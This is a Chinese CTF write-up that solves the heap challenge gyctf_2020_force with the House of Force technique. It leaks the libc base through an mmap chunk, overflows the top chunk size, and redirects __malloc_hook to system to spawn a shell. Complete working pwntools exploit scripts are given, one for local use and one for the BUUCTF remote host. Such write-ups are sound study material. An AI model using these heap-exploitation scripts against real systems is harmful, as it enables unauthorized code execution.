gyctf_2020_force
参考
(小吐槽:原本是想学习一下House of Force,但没想到在libc文件上这么麻烦,buu的题目有自己对应的libc文件,和glibc-all-in-one里面的不一样,但它又没给ld文件,换源都换不了,我也是服了,对于新手小白真的很不友好(裂开 ),想本地调试都不好调)
(虽然经大佬提醒可以通过libc文件去找对应的libc版本,但题目写都写完了,偷个懒就先不搞了,嘿嘿嘿)
(这题one_gadget不能直接,需要 realloc,再加上libc文件的问题,所以找了个 system(‘/bin/sh’) 的打法)

准备

先用自己glibc-all-in-one的libc文件打通本地

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
__int64 n2; // rax
_BYTE s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
memset(s, 255, sizeof(s));
while ( 1 )
{
memset(s, 255, sizeof(s));
puts("1:add");
puts("2:puts");
read(0, nptr, 0xFuLL);
n2 = atol(nptr);
if ( n2 == 1 )
{
sub_A20();
}
else if ( n2 == 2 )
{
sub_B92();
}
}
}

看提示语有创建和输出函数

1-sub_A20(add)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 sub_A20()
{
const void **i; // [rsp+0h] [rbp-120h]
__int64 size; // [rsp+8h] [rbp-118h]
_BYTE s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(s, 255, sizeof(s));
for ( i = (const void **)&unk_202080; *i; ++i )
;
if ( (char *)i - (char *)&unk_202080 > 39 )
exit(0);
puts("size");
read(0, nptr, 0xFuLL);
size = atol(nptr);
*i = malloc(size);
if ( !*i )
exit(0);
printf("bin addr %p\n", *i);
puts("content");
read(0, (void *)*i, 0x50uLL);
puts("done");
return __readfsqword(0x28u) ^ v4;
}

这里对创建的堆块大小没有限制
并且创建时会输出创建堆块的地址
在下面输入内容处,用read函数,读取输入最大80(0x50)个字节到块中,但当我们给的大小小于输入内容大小时,就会造成溢出

2-sub_B92(show)函数

1
2
3
4
5
6
7
8
unsigned __int64 sub_B92()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts(&s_);
return __readfsqword(0x28u) ^ v1;
}

没什么用

思路

这题是用 House of Force 手法(概括思路看 House of Force 自己整理的学习知识点)
因为创建堆块时会泄露堆块地址,所以可以先使用基于 mmap chunklibc 地址的固定偏移关系的方法去泄露 libc


知识点:
在处理大 chunk 时的行为:
glibcmalloc 对于大于 mmap_threshold 的申请,不使用 heap,而是直接调用 mmap() 向内核申请一块内存。
默认情况下,这个阈值在 128 KB 左右(也可能是更大)
(比如:malloc(0x20000) ➜ 会使用 mmap)

mmap 分配的大 chunk 地址规律:

  • 使用 mmap() 分配的内存块,一般在 libc 映射地址之下;
  • 在默认的内存布局中,mmap() 返回的地址和 libc.so 的加载基址存在一个固定偏移;

利用:

  • 申请一个超大 chunk(触发 mmap
  • 打印这个 chunk 的地址
  • 减去偏移 ➜ 得到 libc base
    这个偏移值是固定的(取决于特定 libc 版本的布局),你只要知道 libc 版本,就可以知道偏移量。

libc.address (在知道 libc 文件时使用)
libc.addresspwntools 里的一个属性,其用途是设置 libc 库在内存中的基地址。一旦这个基地址被设置好,pwntools 就能自动计算出 libc 中各个函数和变量的实际地址。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = "debug"
# io=remote('node5.buuoj.cn',27593)
io= process('/home/motaly/force1')
elf=ELF('/home/motaly/force1')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')

def add(size, content):
io.sendlineafter("2:puts\n", "1")
io.sendlineafter("size\n", str(size))
io.recvuntil("bin addr ")
addr = int(io.recv(14),16)
io.sendlineafter("content\n",content)
return addr

libc.address=add(0x200000, 'aaa\n')
log.success("libc_base :"+hex(libc.address))
#gdb.attach(io)

这里创建的值一定要够大,才会使用 mmap 创建,先获取堆块地址,进行调试,获取堆块地址与libc 的固定偏移

1
2
libc.address=add(0x200000, 'aaa\n')+0x200ff0
log.success("libc.address :"+hex(libc.address))


有了 libc 基址后,开始使用 House of Force 手法通过溢出去修改 top chunksize ,同时把 '/bin/sh' 写入 top chunk
(注意:溢出需覆盖到 top chunk 的 size 字段时篡改后的 size 需满足 (size & 1) == 1(即 PREV_INUSE 位为 1),否则 glibc 会认为前一个块空闲,触发合并逻辑,导致利用失败。)

1
2
3
4
5
libc.address=add(0x200000, 'aaa\n')+0x200ff0
log.success("libc.address :"+hex(libc.address))

top = add(0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))+0x10
log.success("top :"+hex(top))

这里使用 p64(0xFFFFFFFFFFFFFFFF | 0x1) 强制设置PREV_INUSE 标志位
'/bin/sh' 写在 0xFFFFFFFFFFFFFFFF 前,以便后面通过 top chunk 调用 '/bin/sh'

考虑到后面创建堆块的 chunk 头部占用空间,这里填充的偏移量进行减少

1
2
3
4
5
6
7
8
9
10
11
12
libc.address=add(0x200000, 'aaa\n')+0x200ff0
log.success("libc.address :"+hex(libc.address))

top = add(0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))+0x10
log.success("top :"+hex(top))

malloc_hook=libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
system=libc.sym['system']
log.success('system :'+hex(system))
offset = (malloc_hook-0x20)-top
log.success("offset :"+hex(offset))

0x20的值不是一定的,但其他的值需要具体调试,0x20是刚好后面往 malloc_hook 里面写入 system
此时已经计算了 malloc_hooktop chunk 间的大致距离,我们通过创建距离大小的堆块,使 top chunk 靠近 malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
libc.address=add(0x200000, 'aaa\n')+0x200ff0
log.success("libc.address :"+hex(libc.address))

top = add(0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))+0x10
log.success("top :"+hex(top))

malloc_hook=libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
system=libc.sym['system']
log.success('system :'+hex(system))
offset = (malloc_hook-0x20)-top
log.success("offset :"+hex(offset))

addr=add(offset, 'a')
addr1=addr+offset
log.success("addr1 :"+hex(addr1))

addr1 就是创建后的 top chunk 地址

这里在创建一个堆块,内容是 system ,前面的 memalign_hookrealloc_hook 用做堆块头,内容输入开始的地方直接是 malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
libc.address=add(0x200000, 'aaa\n')+0x200ff0
log.success("libc.address :"+hex(libc.address))

top = add(0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))+0x10
log.success("top :"+hex(top))

malloc_hook=libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
system=libc.sym['system']
log.success('system :'+hex(system))
offset = (malloc_hook-0x20)-top
log.success("offset :"+hex(offset))

addr=add(offset, 'a')
addr1=addr+offset
log.success("addr1 :"+hex(addr1))

addr2=add(0x10,p64(system))
log.success("addr2 :"+hex(addr2))


最后创建堆块,size 值给 top chunk 地址,触发 system('/bin/sh')
(size 值原本我们给的是数值,会把这个数值给 rdi,现在给的是 top chunk 地址,给 rdi 的值就是 top chunk 的内容)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
libc.address=add(0x200000, 'aaa\n')+0x200ff0
log.success("libc.address :"+hex(libc.address))

top = add(0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))+0x10
log.success("top :"+hex(top))

malloc_hook=libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
system=libc.sym['system']
log.success('system :'+hex(system))
offset = (malloc_hook-0x20)-top
log.success("offset :"+hex(offset))

addr=add(offset, 'a')
addr1=addr+offset
log.success("addr1 :"+hex(addr1))

addr2=add(0x10,p64(system))
log.success("addr2 :"+hex(addr2))

io.recvuntil("2:puts\n")
io.sendline('1')
io.recvuntil("size\n")
#gdb.attach(io)
io.sendline(str(top))


脚本

本地调试的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.log_level = "debug"
# io=remote('node5.buuoj.cn',27593)
io= process('/home/motaly/force1')
elf=ELF('/home/motaly/force1')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')

def add(size, content):
io.sendlineafter("2:puts\n", "1")
io.sendlineafter("size\n", str(size))
io.recvuntil("bin addr ")
addr = int(io.recv(14),16)
io.sendlineafter("content\n",content)
return addr

libc.address=add(0x200000, 'aaa\n')+0x200ff0
log.success("libc.address :"+hex(libc.address))

top = add(0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))+0x10
log.success("top :"+hex(top))

malloc_hook=libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
system=libc.sym['system']
log.success('system :'+hex(system))
offset = (malloc_hook-0x20)-top
log.success("offset :"+hex(offset))

addr=add(offset, 'a')
addr1=addr+offset
log.success("addr1 :"+hex(addr1))

addr2=add(0x10,p64(system))
log.success("addr2 :"+hex(addr2))

io.recvuntil("2:puts\n")
io.sendline('1')
io.recvuntil("size\n")
io.sendline(str(top))

io.interactive()

远程
(不用换源,直接用buu的libc文件)
BUUCTF-libc文件下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.log_level = "debug"
io=remote('node5.buuoj.cn',29058)
# io= process('/home/motaly/force')
elf=ELF('/home/motaly/force')
libc=ELF('/home/motaly/libc-2.23.so')

def add(size, content):
io.sendlineafter("2:puts\n", "1")
io.sendlineafter("size\n", str(size))
io.recvuntil("bin addr ")
addr = int(io.recv(14),16)
io.sendlineafter("content\n",content)
return addr

libc.address=add(0x200000, 'aaa\n')+0x200ff0
log.success("libc.address :"+hex(libc.address))

top = add(0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))+0x10
log.success("top :"+hex(top))

malloc_hook=libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
system=libc.sym['system']
log.success('system :'+hex(system))
offset = (malloc_hook-0x20)-top
log.success("offset :"+hex(offset))

addr=add(offset, 'a')
log.success("addr :"+hex(addr))

add(0x10,p64(system))

io.recvuntil("2:puts\n")
io.sendline('1')
io.recvuntil("size\n")
io.sendline(str(top))

io.interactive()